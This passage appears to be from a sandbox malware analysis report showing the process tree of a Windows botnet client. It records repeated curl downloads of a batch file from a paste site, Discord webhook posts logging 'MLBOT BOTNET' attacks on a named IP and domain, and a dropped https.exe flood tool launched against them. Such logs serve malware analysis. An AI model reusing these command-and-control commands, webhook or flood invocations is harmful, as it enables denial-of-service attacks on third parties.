  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3888
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:912
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4876
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4612
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3840
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1832
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3312
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4080
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:880
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3196
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4432
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4596
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2392
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:380
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2912
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3044
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4760
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3308
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5020
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5008
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3964
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3976
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1620
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4772
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3232
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4156
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2800
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5016
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1576
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2612
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3000
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3332
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: https 168.119.255.140 15000 50 {}\", \"description\": \" Fri 08/18/2023-50 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:2096
  - - C:\Users\Admin\Desktop\attacks\methods\https.exe
      https.exe 168.119.255.140 50
      4⤵
      Executes dropped EXE
      PID:4308
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2528
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4876
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:552
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3680
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2996
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1816
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4080
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2672
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3404
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1896
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:512
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4036
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:984
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4000
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3044
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: https https://file.cunhua.today 17000 50 {}\", \"description\": \" Fri 08/18/2023-50 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:4132
  - - C:\Users\Admin\Desktop\attacks\methods\https.exe
      https.exe https://file.cunhua.today 50
      4⤵
      Executes dropped EXE
      PID:3308
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2104
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3204
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4896
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4588
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1912
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3368
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3788
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4824
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4164
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1900
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1476
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1052
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4264
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5052
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1752
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:60
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4556
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3916
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1292
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3096
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:388
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1380
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2160
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4256
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4300
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2440
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1428
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3664
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2532
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1224
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3508
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4800
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2740
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3272
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:960
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3496
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5088
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4964
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1284
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3948
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2976
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2932
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1772
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3872
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4740
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3940
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4076
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1796
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2148
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2304
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3588
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4952
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4084
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3920
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3616
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2060
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4808
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1716
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1940
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2588
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:868
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:912
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3172
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2388
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4216
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3592
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3048
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2672
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4028
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3452
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4948
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2552
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4528
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2912
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4260
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2620
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4512
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1200
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:376
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4816
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4024
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2024
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1084
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1432
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3804
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1692
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1088
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1420
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3712
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1708
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:64
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1580
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4848
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5060
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:32
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1620
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2028
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3088
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3824
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4192
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1124
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3656
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2316
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2280
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2460
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2244
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3600
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2012
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1860
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4392
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2188
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4916
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2896
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3308
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4008
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4408
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4332
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:212
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3832
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1600
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2284
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:412
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4300
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4672
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1428
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3460
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2420
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1372
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4908
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4892
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2152
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2432
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1868
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1172
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:116
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4944
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4612
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3168
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2088
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1480
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4628
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1932
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4212
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1148
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5056
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1272
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3464
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5040
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3936
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5076
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2752
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4836
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:676
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2060
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1936
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1716
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4924
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2588
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4768
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4320
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4792
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:552
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4724
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1356
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2328
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3008
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4904
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3624
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5108
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3992
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:452
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:64
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3136
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4312
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2928
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4424
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1116
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5100
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4632
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:456
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3204
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3176
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4240
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2896
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2948
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1584
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1752
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4972
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3780
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4332
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3248
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:212
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3740
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3152
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3160
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:412
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4300
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3948
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:224
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2932
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1932
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4812
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:924
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4740
  - - C:\Windows\system32\timeout.exe
